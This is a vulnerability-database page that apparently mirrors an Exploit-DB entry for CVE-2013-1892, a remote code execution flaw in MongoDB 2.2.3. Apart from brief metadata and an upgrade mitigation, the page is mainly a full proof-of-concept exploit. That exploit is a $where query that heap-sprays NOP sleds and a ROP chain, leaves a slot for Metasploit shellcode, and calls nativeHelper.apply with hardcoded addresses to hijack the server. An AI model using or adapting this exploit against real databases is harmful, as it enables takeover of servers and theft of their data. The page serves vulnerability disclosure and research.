MongoDB nativeHelper.apply Remote Code Execution

vendor:

MongoDB

by:

agixid

8,8

CVSS

HIGH

MongoDB nativeHelper.apply Remote Code Execution

CWE

Product Name: MongoDB

Affected Version From: 2.2.3

Affected Version To: 2.2.3

Patch Exists: YES

Related CWE: CVE-2013-1892

CPE: o:mongodb:mongodb:2.2.3

Metasploit: https://www.rapid7.com/db/vulnerabilities/mongodb-cve-2013-1892/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2013

MongoDB nativeHelper.apply Remote Code Execution

This exploit uses the nativeHelper.apply feature in the spidermonkey mongodb implementation to execute arbitrary code. The exploit uses a combination of shellcode and ropchain to execute the code.

Mitigation:

Upgrade to the latest version of MongoDB.

Source

Exploit-DB raw data:

#Title: MongoDB nativeHelper.apply Remote Code Execution
#Author: agixid http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/
#Software Link: http://fastdl.mongodb.org/linux/mongodb-linux-i686-2.2.3.tgz
#Version: 2.2.3

The following PoC exploits the "nativeHelper" feature in the spidermonkey mongodb implementation.
the NativeFunction "func" come from "x" javascript object and then is called without any check:

db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropchain=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-ropchain.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+ropchain; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);'})